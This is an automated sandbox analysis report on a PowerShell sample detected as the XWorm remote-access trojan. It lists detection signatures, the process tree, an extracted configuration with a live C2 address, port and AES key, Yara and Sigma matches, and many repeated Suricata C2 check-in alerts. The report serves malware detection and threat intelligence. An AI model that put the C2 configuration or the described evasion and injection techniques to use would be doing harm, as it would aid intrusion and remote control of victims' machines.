Edit tour

Windows Analysis Report
QP2uO3eN2p.ps1

Overview

General Information

Sample name:	QP2uO3eN2p.ps1 renamed because original name is a hash value
Original sample name:	7dc08327ae721c3ecf12447901858457bf510dd7016838839a629f86d673b18b.ps1
Analysis ID:	1577167
MD5:	6d71ada719b48d770647e3e703cbbcfd
SHA1:	bc2dd183895888c20057f165d3332e8ecf6a6ada
SHA256:	7dc08327ae721c3ecf12447901858457bf510dd7016838839a629f86d673b18b
Tags:	92-255-57-155ps1user-JAMESWT_MHT
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Uses ipconfig to lookup or modify the Windows network settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5968 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5944 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

RegSvcs.exe (PID: 1056 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

WerFault.exe (PID: 2272 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 1876 MD5: C31336C1EFC2CCB44B4326EA793040F2)

wermgr.exe (PID: 6780 cmdline: "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5968" "2404" "2616" "2496" "0" "0" "2348" "0" "0" "0" "0" "0" MD5: 74A0194782E039ACE1F7349544DC1CF4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["92.255.57.155"], "Port": 4411, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1d84:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9f40:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1dd8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9fe8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1e68:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xa108:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c20:$cnc4: POST / HTTP/1.1
Process Memory Space: RegSvcs.exe PID: 1056	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: RegSvcs.exe PID: 1056	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2654a:$s8: Win32_ComputerSystem 0x265b7:$s8: Win32_ComputerSystem 0x28beb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ca7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28d31:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ab9:$cnc4: POST / HTTP/1.1

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", ProcessId: 5968, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\QP2uO3eN2p.ps1", ProcessId: 5968, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:43.333388+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:15:57.158905+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:15:58.442835+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:11.015125+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:24.874899+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:28.597087+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:30.404357+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:31.044515+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:31.686005+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:32.036316+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:32.322472+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:33.044858+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:33.647092+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:33.838111+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.256991+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.448063+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:34.865787+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.056779+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.657782+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.848677+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:35.968423+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.081371+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.159529+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.456221+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.578467+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.767180+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:36.888806+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.064619+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.202971+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.428366+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.726486+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:37.960367+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.039017+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.404743+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.648316+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.839427+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:38.961338+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:39.607222+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:39.846527+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:40.756259+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:40.947965+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:41.671236+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:41.938130+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.275763+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.413501+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.604480+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:42.773737+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:43.873445+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:44.064574+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:46.591890+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:47.498676+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.112016+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.303350+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.360230+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:48.493884+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:49.669827+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:49.860846+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.026813+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.051921+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.325197+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:50.638151+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:51.119723+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:51.761498+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:51.944455+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.063076+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.445896+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.504580+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.624346+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:52.759401+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:53.137497+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:53.835046+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.049025+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.265643+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.360679+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.480016+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.670898+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:54.787278+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.216871+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.408744+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:56.645108+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:58.870137+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.061121+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.252049+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.668999+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:16:59.958951+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:00.273669+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:01.670112+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:01.861176+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:01.953980+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:02.694848+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:03.333935+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:04.482711+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:04.673767+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:04.987325+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.448644+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.739584+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:05.907966+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:06.051606+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:06.242553+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.181318+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.799701+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:07.993773+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:08.184853+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.232269+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.464187+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.500987+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.777535+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:10.936876+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.089830+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.376788+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.703615+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:11.931130+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.050423+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.164175+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:12.527439+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:13.043015+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:13.998166+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.157417+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.310149+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.428853+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.614964+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.734482+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:14.903163+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:15.022865+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:15.094349+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.248297+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.480188+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.612787+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.671147+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:16.909369+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:17.638767+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:17.875820+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:17.950173+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.108287+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.140650+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.299294+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:19.250639+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:19.849399+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.040239+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.459478+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.650444+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.813850+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.841668+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.962643+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.092071+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.283164+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.404575+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.756162+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.887452+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.948714+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:23.731041+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:23.922125+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:25.201488+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:25.392435+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:27.733469+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:27.952032+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.184035+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.263893+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.636091+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.826388+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:29.138146+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:29.602159+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:29.893022+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.084272+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.8	49708	TCP
